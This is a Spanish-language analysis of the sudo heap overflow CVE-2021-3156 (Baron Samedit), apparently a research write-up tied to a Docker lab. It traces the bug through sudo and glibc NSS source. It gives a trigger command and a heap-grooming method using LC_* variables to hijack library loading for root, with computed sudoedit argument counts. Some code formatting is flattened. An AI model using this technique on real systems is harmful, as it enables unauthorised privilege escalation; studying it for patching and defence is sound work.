
CVE-2021-3156 POC y Docker y informe de análisis
[toc]
ID de vulnerabilidad: CVE-2021-3156
Puntuación de vulnerabilidad:
Producto vulnerable: linux sudo
Versiones afectadas: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1
Condiciones de explotación: local en linux; sudo con SUID y ejecutable
Efecto de explotación: escalada de privilegios local
Obtención del código fuente: https://www.sudo.ws/getting/source/
Entorno Docker: chenaotian/cve-2021-3156
He creado un docker propio que proporciona:
Todo está en el directorio /root:
image-20220124223312224
Prueba del exp:``` cd exp su test ./exp whoami
Consulte más adelante para contenido relacionado con depuración [algunos comandos de depuración](#一些调试命令)
## Principio de la vulnerabilidad
payload de activación de vulnerabilidad```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`
Análisis del código fuente (sudo-1.8.21): Primero está la función main en sudo.c (sudo.c: 133):```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)
··· ···
··· ···
/* Parse command line arguments. */
//在这里处理输入参数,设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
··· ···
··· ···
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
ok = policy_check(&policy_plugin, nargc, nargv, env_add,
&command_info, &argv_out, &user_env_out);
··· ···
··· ···
}
··· ···
··· ···
}
- Primero, se llama a la función parse_args para procesar los parámetros que ingresamos, en realidad aquí solo ingresamos un `-s`, no hay nada que configurar, se establece sudo_mode en MODE_EDIT y MODE_SHELL.
- Luego, dependiendo de sudo_mode, MODE_EDIT llama a policy_check
A continuación, la función policy_check en sudo.c (sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
char *env_add[], char **command_info[], char **argv_out[],
char **user_env_out[])
{
··· ···
··· ···
ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
argv_out, user_env_out);
···
}
Se llamó a la función de callback plugin->u.policy->check_policy ,se puede depurar para ver la función real de esta función:
image-20220123113326096
La función llamada es sudoers_policy_check en policy.c (policy.c: 760):```c static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[]) { ··· ···
exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;
ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···
}
Luego se invoca la función sudoers_policy_main en sudoers.c (sudoers.c: 224):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
void *closure)
{
··· ···
··· ···
/*
* Make a local copy of argc/argv, with special handling
* for pseudo-commands and the '-i' option.
*/
if (argc == 0) {
··· ···
} else {
/* Must leave an extra slot before NewArgv for bash's --login */
NewArgc = argc;
NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
··· ···
}
memcpy(++NewArgv, argv, argc * sizeof(char *));
NewArgv[NewArgc] = NULL;
··· ···
}
}
··· ···
cmnd_status = set_cmnd();
··· ···
··· ···
··· ···
}
Aquí se configuran algunas variables globales, NewArgc y NewArgv, como se muestra a continuación, que son los parámetros pasados.
image-20220123113819116
Después se entra en la función set_cmnd en sudoers.c (sudoers.c: 796):```c static int set_cmnd(void) { ··· ··· ··· ···
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
//根据参数总长度计算size, 后续malloc 申请,没有问题
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
//将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
//但这里\x00 并不算空格类型字符
//他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
}
··· ···
}
}
··· ···
··· ···
}
El desbordamiento también ocurre aquí, según se puede ver en los comentarios del código, el desbordamiento del montón ocurre al copiar al montón. La intención original de este código no es difícil de entender: copiar todos los parámetros de NewArgv al montón, separados por espacios, y cuando se encuentra `\+<carácter no espaciado>`, solo copiar ese carácter.
**Pero no considera un caso: si un elemento de NewArgv termina con `\`, entonces es una estructura como `\+\x00`, y `\x00` no pertenece a la clase de caracteres espaciados (¡increíble!). Esto significa que, después de copiar `\x00` al montón, la variable `from` se incrementa (dos veces en un bucle) y se salta la oportunidad de que el bucle while termine con el marcador `\x00`, pensando que los parámetros no se han copiado por completo y continúa copiando hasta encontrar el siguiente `\x00`.**
En este escenario se puede ver que `\+\x00` va seguido inmediatamente del siguiente parámetro `A*80`, por lo que continúa copiando hasta el final de `A*80`. Pero no hay que olvidar que luego se procesará realmente el parámetro `A*80`, y se copiará de nuevo, por lo que aquí se copian dos veces `A*80`, pero el chunk se asignó según el tamaño de solo una cadena `A*80`, mucho menor que la longitud copiada.
image-20220123113907744
Luego se produce el desbordamiento, antes de copiar:
image-20220123114036691
Después de copiar:
image-20220123114137794
La ruta general de activación de la vulnerabilidad es (al depurar, basta con poner puntos de interrupción directamente según estas funciones):
- sudo.c : main
- sudo.c : policy_check
- policy.c : sudoerrs_policy_check
- sudoers.c : sudoers_policy_main
- sudoers.c : set_cmnd
- sudoers.c : 859
## Principio de explotación de la vulnerabilidad
Se ha consultado [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156), **pero su método de disposición del montón es difícil de replicar; aquí se analiza en detalle el método de disposición del montón**. Mediante la variable de entorno `LC_*` se organiza el montón, y luego se hace que el chunk desbordado sobrescriba exactamente la estructura `service_user` que la función `nss_load_library` necesita cargar como `so`, sobrescribiendo la cadena del nombre del `so` en esa estructura, para que el programa cargue el `so` que especificamos y ejecute código arbitrario.
Aunque la lógica parece clara, los detalles a resolver son bastante complicados:
1. Estructuras de datos y mecanismos relevantes en `nss_load_library`
2. Cómo `setlocale` realiza la disposición del montón a través de la variable de entorno `LC_*`
A continuación, llamaremos al chunk donde ocurre el desbordamiento `vuln chunk`, y al objetivo del desbordamiento `target chunk`.
### Principio de nss
Primero, veamos el código clave de la explotación:
glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
··· ···
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
··· ···
··· ···
}
}
ni es la estructura service_user en el heap. Cuando ni->library->lib_handle es NULL, se llama a __libc_dlopen para cargar la biblioteca compartida (so). Si podemos desbordar hacia el bloque del heap donde reside ni, solo necesitamos sobrescribir library con 0, porque en la primera rama, si library es NULL (lo que indica que no se ha inicializado), se llamará a nss_new_service para inicializar library, y el handle recién inicializado será necesariamente NULL.
Ok, una vez que conocemos el punto de activación clave de la explotación de la vulnerabilidad, comprendamos el mecanismo de NSS.
Primero, en el directorio /etc/ hay un archivo /etc/nsswitch.conf (generalmente se ve así, aunque no es igual en todos los dispositivos):```
glibc-doc-reference' and info' packages installed, try:passwd: compat systemd group: compat systemd shadow: compat gshadow: files
hosts: files dns networks: files
protocols: db files services: db files ethers: db files rpc: db files
netgroup: nis
Este es un archivo de configuración, a través de las rutas y el orden registrados aquí (en realidad, qué archivos .so se utilizan) se buscan los métodos. También se puede especificar qué acción tomará el sistema cuando un método funcione o falle.
Lo que entiendo es que se establece de dónde debe recuperar la información el programa, como información de usuario, red, direcciones, etc. En el programa, esto se refleja en que la función se llama desde un archivo .so diferente. La implementación de esa función en diferentes archivos .so es el método para recuperar esa información.
A continuación, veamos tres estructuras:```c
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
typedef struct name_database_entry
{
/* And the link to the next entry. */
struct name_database_entry *next;
/* List of service to be used. */
service_user *service;
/* Name of the database. */
char name[0];
} name_database_entry;
typedef struct name_database
{
/* List of all known databases. */
name_database_entry *entry;
/* List of libraries with service implementation. */
service_library *library;
} name_database;
Hay una entrada global static name_database *service_table; Luego, en la función __nss_database_lookup, si la entrada global service_table está vacía, entonces se llamará a nss_parse_file para inicializar, el código relevante es el siguiente:
glibc/nss/nsswitch.c : 117```c int __nss_database_lookup (const char *database, const char *alternate_name, const char *defconfig, service_user *ni) { ··· ··· / Are we initialized yet? / if (service_table == NULL) / Read config file. */ service_table = nss_parse_file (_PATH_NSSWITCH_CONF); ··· ··· }
glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
FILE *fp;
name_database *result;
name_database_entry *last;
··· ···
//打开/etc/nsswitch.conf
fp = fopen (fname, "rce");
··· ···
result = (name_database *) malloc (sizeof (name_database));
··· ···
do
{
name_database_entry *this;
ssize_t n;
n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
··· ···
this = nss_getline (line);
if (this != NULL)
{
if (last != NULL)
last->next = this;
else
result->entry = this;
last = this;
}
}
while (!feof_unlocked (fp));
/* Free the buffer. */
free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
/* Close configuration file. */
fclose (fp);
return result;
}
El principio es que durante la primera búsqueda se encuentra que la entrada global service_table está vacía, entonces se inicializa según el contenido del archivo /etc/nsswitch.conf. La estructura de datos final se muestra a continuación:
image-20220123134155631
Aquí todas las estructuras de datos se asignan en una misma función de una sola vez, siguiendo el orden de mi diagrama. Por lo tanto, en condiciones normales, estos chunks están contiguos. Y su asignación ocurre antes del chunk vulnerable. (Punto de interrupción de depuración nss_parse_file)
Además, cabe destacar que en la función nss_parse_file hay una función __getline, que asigna un chunk según la longitud del contenido leído, y este chunk se libera al retornar de la función nss_parse_file. Dado que la línea más larga en contenido en /etc/nsswitch.conf suele ser un comentario, y no podemos controlar ese archivo, podemos considerar que cada vez que se asigna un chunk en __getline, su tamaño es fijo, de 0x80 bytes.
Por lo tanto, podemos entenderlo como un chunk muy valioso que se asigna antes de la lista enlazada de servicios, se libera justo después de que se complete la asignación de la estructura de la lista de servicios, y que permanece en estado libre antes de que se asigne el chunk vulnerable. Tengamos en cuenta este pequeño detalle por ahora (he probado muchos entornos, y en la mayoría se puede aprovechar este detalle).
¿Cuándo se activa la función nss_load_library? Se puede observar la pila de llamadas durante la depuración:
image-20220123114256387
Según la pila de llamadas, cuando se necesita invocar algunas funciones para buscar información de hosts o usuarios, se llaman funciones de búsqueda para localizar la función correspondiente en el SO adecuado. En resumen, se utiliza la estructura de datos service_table generada a partir de /etc/nsswitch.conf. El código es el siguiente:
glibc/nss/XXX-lookup.c :```c int DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name, void **fctp) {//先搜索对应的服务 if (DATABASE_NAME_SYMBOL == NULL && __nss_database_lookup (DATABASE_NAME_STRING, ALTERNATE_NAME_STRING, DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL) < 0) return -1;
*ni = DATABASE_NAME_SYMBOL; //再搜索对应so return __nss_lookup (ni, fct_name, fct2_name, fctp); } libc_hidden_def (DB_LOOKUP_FCT)
Primero se llama a `__nss_database_lookup` según el `DATABASE_NAME_STRING` pasado (cuyo contenido es passwd, group, shadow, etc.) para encontrar el servicio correspondiente: es decir, busca el área roja en la siguiente imagen para encontrar una coincidencia y devuelve un puntero de servicio. Si es la primera búsqueda y las entradas están vacías, se inicializarán (como se mencionó anteriormente).
image-20220123133933696
A continuación, se llama a `__nss_lookup` que a su vez llama en bucle a `__nss_lookup_function` para buscar, según la lista enlazada de servicios, la función correspondiente en el servicio. Luego se llama a `nss_load_library` para obtener el handle del SO y buscar la función correspondiente. El código es el siguiente:
glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
void **fctp)
{
*fctp = __nss_lookup_function (*ni, fct_name);
··· ···
while (*fctp == NULL
&& nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
&& (*ni)->next != NULL)
{
*ni = (*ni)->next;
*fctp = __nss_lookup_function (*ni, fct_name);
··· ···
}
return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)
glibc/nss/nsswitch.c : 410```c void * __nss_lookup_function (service_user *ni, const char *fct_name) { ··· ···
found = __tsearch (&fct_name, &ni->known, &known_compare); ··· ···//没有搜到的一些操作省略
else { known_function *known = malloc (sizeof known); ··· ··· else { //调用nss_load_library, 检查ni->library->lib_handle 是否为空,为空则重新dlopen //具体nss_load_library 代码见上面 ··· ··· if (nss_load_library (ni) != 0) / This only happens when out of memory. */ goto remove_from_tree;
if (ni->library->lib_handle == (void *) -1l)
/* Library not found => function not found. */
result = NULL;
else
{
··· ···
/* Construct the function name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
ni->name),
"_"),
fct_name);
/* Look up the symbol. */
result = __libc_dlsym (ni->library->lib_handle, name);
}
··· ···
··· ···
}
···
return result; } libc_hidden_def (__nss_lookup_function)
Puede verse que, siempre que se llame a alguna función en `libnss_xxx.so`, se llamará a `nss_load_library`, incluso si el `.so` ya se ha cargado. Por lo tanto, según la idea del exploit conocido, **solo es necesario saber a qué `.so` pertenece la primera función relacionada con `libnss` que se invoca después de que ocurre el desbordamiento del montón, y luego, mediante la disposición del montón, colocar la estructura `service_user` correspondiente a ese `.so` justo después del chunk vulnerable**. Sin embargo, según mis pruebas en múltiples entornos, incluso con la misma versión, la estructura del código varía entre compilaciones propias y las distribuciones oficiales. Por lo tanto, aquí utilizaré mi propio entorno de depuración para reanalizar y redactar un exploit.
### Volver al entorno de depuración
El entorno de depuración que configuré (Docker) es sudo compilado por mí mismo, con símbolos de depuración. La información específica es la siguiente:```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21
/etc/nsswitch.conf 内容如下:
image-20220115142452318
Sigue siendo muy diferente de lo habitual, por lo que ejecutar directamente el exploit de otra persona definitivamente no funcionará. Además, después de la depuración, en mi entorno, después del desbordamiento del heap, la primera función nss llamada es setspent, que pertenece a shadow, es decir, el service_user de database_entrry3, por lo que el target chunk es el chunk número 7. Esperamos que el chunk vulnerable aparezca antes del chunk número 7, y que ningún otro chunk numerado esté entre ellos (es decir, que el desbordamiento no rompa otros chunks de la estructura service_table).
image-20220123134335546
A continuación, es inevitable que estudiemos cómo realizar una operación de escalada de privilegios y configuración del heap de una sola vez. Se sabe que se utiliza la variable de entorno LC_ALL para completar la configuración del heap en la función setlocale. Tras el análisis, hay muchas operaciones de asignación y liberación de heap en setlocale, por lo que aquí nos centramos en la parte que podemos manipular.
Inadvertidamente, encontré un blog de análisis de un colega en el blog interno de la empresa, que fue de gran ayuda. Como no es accesible externamente, no lo publicaré.
El mecanismo de heap de setlocale se resume en una frase: basta con ingresar variables de entorno de la longitud deseada en el orden en que se quieren liberar los chunks, lo que garantiza el orden de liberación y las relaciones de anterior/posterior, pero estos chunks no están estrechamente conectados entre sí.
Primero veamos el código fuente de setlocale:
glibc/locale/setlocale.c : 218```c char * setlocale (int category, const char *locale) { char *locale_path; size_t locale_path_len; const char *locpath_var; char *composite;
··· ···
locale_path = NULL; locale_path_len = 0;
··· ···
if (category == LC_ALL)
{
··· ···
··· ···
/* Load the new data for each category. */
while (category-- > 0)
if (category != LC_ALL)
{//关键处理函数 _nl_find_locale
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);
if (newdata[category] == NULL)
{//返回null 则会跳出循环
···
break;
}
··· ···
/* Make a copy of locale name. */
if (newnames[category] != _nl_C_name)
{
if (strcmp (newnames[category],
_nl_global_locale.__names[category]) == 0)
newnames[category] = _nl_global_locale.__names[category];
else
{
//这个strdup 很关键
newnames[category] = __strdup (newnames[category]);
if (newnames[category] == NULL)
break;
}
}
}
/* Create new composite name. */
composite = (category >= 0
? NULL : new_composite_name (LC_ALL, newnames));
if (composite != NULL)
{
··· ···
}
else
for (++category; category < __LC_LAST; ++category)//校验
if (category != LC_ALL && newnames[category] != _nl_C_name
&& newnames[category] != _nl_global_locale.__names[category])
//这个free 很关键,这里是一处循环free,可以集中free 一堆chunk
free ((char *) newnames[category]);
/* Critical section left. */
__libc_rwlock_unlock (__libc_setlocale_lock);
/* Free the resources. */
free (locale_path);
free (locale_copy);
return composite;
}
··· ···
··· ···
} libc_hidden_def (setlocale)
La función `setlocale` está relacionada con algunos problemas de configuración regional, y los parámetros de variables de entorno relevantes son los siguientes:```c
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
Según el valor del parámetro category, se busca el parámetro correspondiente en las variables de entorno para llevar a cabo la acción. En sudo se usa setlocale(LC_ALL,""); Cuando el parámetro entrante es LC_ALL, se recorre hacia adelante desde LC_IDENTIFICATION todas las variables. Para cada una, se llama a la función _nl_find_locale. Esta función es bastante compleja, pero el valor de newnames[category] que devuelve es en realidad el valor de la variable de entorno correspondiente. Luego se llama a la función strdup para copiar esa cadena al montón. Como el parámetro entrante es LC_ALL, se genera un array de cadenas correspondiente. Luego se realiza una validación con el valor predeterminado de la variable global. Si la validación falla, se libera (es fácil construir una entrada que falle).
En otras palabras, podemos manipular aquí realizando x asignaciones de montón con strdup y x liberaciones de los chunks recién asignados. Parece simple, pero no es así, porque antes en la función _nl_find_locale hay muchas operaciones de asignación y liberación de montón. Los chunks asignados por strdup aquí son básicamente los que se liberaron en la función _nl_find_locale. Aunque para la explotación de vulnerabilidades de montón, seguir analizando más allá ya no es tan importante, si se quiere diseñar con precisión el diseño del montón, o si se encuentra un entorno nuevo más estricto, sigue siendo necesario analizar _nl_find_locale:
glibc/locale/findlocale.c : 101```c struct __locale_data * _nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char *name) { int mask; / Name of the locale for this category. */ const char *cloc_name = *name; const char *language; const char *modifier; const char *territory; const char *codeset; const char *normalized_codeset; struct loaded_l10nfile *locale_file;
if (cloc_name[0] == '\0') { /* The user decides which locale to use by setting environment variables. */ cloc_name = getenv ("LC_ALL"); if (!name_present (cloc_name)) cloc_name = getenv (_nl_category_names.str + _nl_category_name_idxs[category]); if (!name_present (cloc_name)) cloc_name = getenv ("LANG"); if (!name_present (cloc_name)) cloc_name = _nl_C_name; } ··· ··· ··· ···
/* language[territory[.codeset]][@modifier] 根据环境变量的值来进行mask 设置,关键字为'','.','@' 设置4个标志位(mask) _ 代表国家,会设置一个标志位 . 代表语言编码之类的,有大小写两种写法(如UTF-8和utf8),设置两个标志位 @ 代表用户添加的后缀,也就是自定义内容,设置一个标志位 */
mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset); if (mask == -1) /* Memory allocate problem. */ return NULL;
/* If exactly this locale was already asked for we have an entry with the complete name. */ //这次is_allocate 位为0会直接返回0 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 0);
if (locale_file == NULL) { /* Find status record for addressed locale file. We have to search through all directories in the locale path. / //_nl_make_l10nflist 之中会进行非常多的堆操作 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 1); if (locale_file == NULL) / This means we are out of core. */ return NULL; }
··· ···
if (locale_file->data == NULL) { int cnt; for (cnt = 0; locale_file->successor[cnt] != NULL; ++cnt) {//从返回的链表之中找到success 成功的结构体返回 if (locale_file->successor[cnt]->decided == 0) _nl_load_locale (locale_file->successor[cnt], category); if (locale_file->successor[cnt]->data != NULL) break; } /* Move the entry we found (or NULL) to the first place of successors. */ locale_file->successor[0] = locale_file->successor[cnt]; locale_file = locale_file->successor[cnt];
if (locale_file == NULL)
return NULL;
}
··· ··· ··· ···
return (struct __locale_data *) locale_file->data; }
En la función `_nl_find_locale`, primero se llama a la función `_nl_explode_name` que asigna valores a la máscara según el valor de la variable de entorno (como se indica en mis comentarios en el código). Principalmente se comprueba si existen país, idioma y sufijo personalizado por el usuario; si los hay, se establecen las máscaras correspondientes. En el caso del idioma, se establecen dos, totalizando cuatro. Luego, la llamada a la función `_nl_make_l0nflist` hace que `_nl_find_locale` devuelva vacío, lo que activa la ruptura del bucle en `setlocale` (importante).
A continuación, veamos la función `_nl_make_l0nflist`:
glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
const char *dirlist, size_t dirlist_len,
int mask, const char *language, const char *territory,
const char *codeset, const char *normalized_codeset,
const char *modifier,
const char *filename, int do_allocate)
{
char *abs_filename;
struct loaded_l10nfile *last = NULL;
struct loaded_l10nfile *retval;
char *cp;
size_t entries;
int cnt;
/* Allocate room for the full file name. */
//根据mask 的值会组成不同的文件路径,长度自然不同,根据长度申请chunk
abs_filename = (char *) malloc (dirlist_len
+ strlen (language)
+ ((mask & XPG_TERRITORY) != 0
? strlen (territory) + 1 : 0)
+ ((mask & XPG_CODESET) != 0
? strlen (codeset) + 1 : 0)
+ ((mask & XPG_NORM_CODESET) != 0
? strlen (normalized_codeset) + 1 : 0)
+ ((mask & XPG_MODIFIER) != 0
? strlen (modifier) + 1 : 0)
+ 1 + strlen (filename) + 1);
if (abs_filename == NULL)
return NULL;
retval = NULL;
last = NULL;
/* Construct file name. */
//根据文件名,也就是mask决定的内容进行拼接文件名
memcpy (abs_filename, dirlist, dirlist_len);
__argz_stringify (abs_filename, dirlist_len, ':');
cp = abs_filename + (dirlist_len - 1);
*cp++ = '/';
cp = stpcpy (cp, language);
if ((mask & XPG_TERRITORY) != 0)
{
*cp++ = '_';
cp = stpcpy (cp, territory);
}
if ((mask & XPG_CODESET) != 0)
{
*cp++ = '.';
cp = stpcpy (cp, codeset);
}
if ((mask & XPG_NORM_CODESET) != 0)
{
*cp++ = '.';
cp = stpcpy (cp, normalized_codeset);
}
if ((mask & XPG_MODIFIER) != 0)
{
*cp++ = '@';
cp = stpcpy (cp, modifier);
}
*cp++ = '/';
stpcpy (cp, filename);
··· ···
//如果已经已经存在同名文件,则释放刚申请的chunk
if (retval != NULL || do_allocate == 0)
{
free (abs_filename);
return retval;
}
retval = (struct loaded_l10nfile *)
malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
* (1 << pop (mask))
* sizeof (struct loaded_l10nfile *)));
if (retval == NULL)
{
free (abs_filename);
return NULL;
}
retval->filename = abs_filename;
/* If more than one directory is in the list this is a pseudo-entry
which just references others. We do not try to load data for it,
ever. */
retval->decided = (__argz_count (dirlist, dirlist_len) != 1
|| ((mask & XPG_CODESET) != 0
&& (mask & XPG_NORM_CODESET) != 0));
retval->data = NULL;
if (last == NULL)
{
retval->next = *l10nfile_list;
*l10nfile_list = retval;
}
else
{
retval->next = last->next;
last->next = retval;
}
entries = 0;
/* If the DIRLIST is a real list the RETVAL entry corresponds not to
a real file. So we have to use the DIRLIST separation mechanism
of the inner loop. */
//这里会进行递归的搜索,根据mask 来讲所有的组合全部找到
//每次mask 值会-1,这样遍历所有mask可能
cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
for (; cnt >= 0; --cnt)
if ((cnt & ~mask) == 0)
{
/* Iterate over all elements of the DIRLIST. */
char *dir = NULL;
while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
!= NULL)
retval->successor[entries++]
= _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
language, territory, codeset,
normalized_codeset, modifier, filename, 1);
}
retval->successor[entries] = NULL;
return retval;
}
Los dos parámetros de entrada más críticos son do_allocate y mask. do_allocate indica si se asignará nueva memoria activamente. Si es 0, se busca directamente en la lista enlazada existente; como la lista suele estar vacía, se retorna de inmediato. Si do_allocate no es 0, se expande la lista enlazada.
En una llamada a la función _nl_make_l10nflist se solicitan 1 o 2 chunks, ambos de tamaño variable. El primer chunk se asigna según la longitud del nombre de archivo generado por mask. Si ese nombre de archivo no se repite, se solicita un segundo chunk, que es una estructura de longitud variable para gestionar el nombre de archivo; su propósito específico es menor y no es controlable, por lo que se omite aquí.
mask tiene cuatro bits. Estos cuatro indicadores determinan el nombre de archivo de la operación actual; los cuatro indicadores representan si el contenido entre corchetes está presente:```
dir+language+[_territory]+[.codeset]+[.normalized_codeset]+[@modifier]+filename
其中dir(/usr/lib/locale)、language(C)、filename(环境变量名)都是固定的,钟括号中的内容根据mask 值可选生成。如:```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA
Entonces:``` [_territory]=NULL #我们没有传入_打头的字符串 [.codeset]=.UTF-8 #语言编码我们传入的是.UTF-8 [.normalized_codeset]=.utf8 # 根据我们传入的大写语言编码自动生成 [@modifier]=@AAAAAAAAAAA #我们自定义的后缀
Dependiendo del mask, puede generar:```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION
Como el contenido que ingresamos originalmente no incluye información del país, es decir, el campo [_territory] ya está vacío, entonces, independientemente de si la máscara es 1 o no, este campo no aparecerá. Esto hace que diferentes máscaras generen el mismo nombre de archivo, lo que explica por qué se produce la liberación y retorno al encontrar un nombre de archivo duplicado.
Hasta aquí llega el análisis completo de los principios de asignación del montón. Según la situación real, se puede entender y diseñar el diseño. En mi entorno de depuración, lo clave es saber que según el valor de la variable de entorno ingresada, se realiza una operación strdup, y finalmente se liberan múltiples chunks generados por strdup de una sola vez. Esta operación es el punto clave. Si se encuentra un entorno más complicado, podría ser necesario usar la máscara para controlar el tamaño y la cantidad de los chunks liberados.
Volviendo a mi entorno de depuración:
image-20220123134419470
Quiero colocar el chunk vulnerable (vuln chunk) antes del chunk objetivo (target chunk), es decir, el chunk número 7, sin dañar ninguno de los chunks 1, 2, 3, 4, 5, 6.
Entonces, la idea para el diseño del montón es:
Dado que los chunks 1, 2, 4 y 6 son todos chunks de tamaño 0x20, y durante la ejecución del programa hay muchas solicitudes de chunks de 0x20, estos agotarán rápidamente la tcache de 0x20. Es decir, para cuando se ejecute la función nss_parse_file, ya no habrá tcache de 0x20 disponible, y las nuevas solicitudes solo podrán satisfacerse cortando del top chunk o de los bins small/large/unsorted. Por lo tanto, no hay que preocuparse por ellos.
Nos enfocamos en cómo insertar un chunk de tamaño especial 0xX0 (que no sea consumido antes de que se solicite el chunk vulnerable) entre los chunks 3, 5 y el chunk 7. Aproximadamente como se muestra:
image-20220123134611280
Dado que todos los chunks involucrados en el diseño del montón son memoria solicitada por setlocale, y estos elementos dentro de setlocale son prácticamente inútiles, incluso si se sobrescriben no causarán un fallo. Por lo tanto, no importa si nuestro chunk vulnerable y el chunk objetivo no están estrictamente contiguos.
Así que nuestra idea final es: en setlocale, solicitar dos chunks de tamaño 0x40, luego un chunk de tamaño 0xa0 (el chunk 0xX0 mencionado anteriormente), y luego otro chunk de 0x40. Estos se liberarán en orden inverso, y luego en la función nss_parse_file se solicitarán en el mismo orden. Además, en nss_parse_file, getline solicitará un chunk de 0x80 para "proteger" el chunk de 0xa0 que reservamos.
A continuación, calculamos la distancia entre el chunk eliminado y el chunk de desbordamiento:
image-20220123114452223
0x5576b5ac7000 - 0x5576b5ac69b0 = 0x650
Podemos dividir el parámetro de entrada total de 0xa0 en dos partes: x \\ (cada uno es una cadena independiente, que ocupa dos bytes) y un 'a' * y (y caracteres 'a' forman una cadena, que ocupa y+1 bytes). 2x + y = 0xa0 - 0x10 (aquí 0xa0 - 0x10 se debe a que nuestro chunk vulnerable tiene tamaño 0xa0, pero en la solicitud real se necesita 0x10 menos). El comando final tendrá la forma:```
sudoedit -s \ \ \ ...(x个)... \ "aaaa...(y个)...aaa"
Calcular x, y tal que:```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650
2x+y = 0xa0-0x10
El principio de la primera ecuación es que, dado que la entrada tiene múltiples \\, cada copia se desborda, y cada desbordamiento tiene 1 byte menos que el anterior, por lo que la suma forma una progresión aritmética. Simplificando se obtiene:```
(x+y)+(x+2y+1)·x/2=0x650
2x+y = 0x90
Desde mi lado, la solución es:```
x=11
y=121
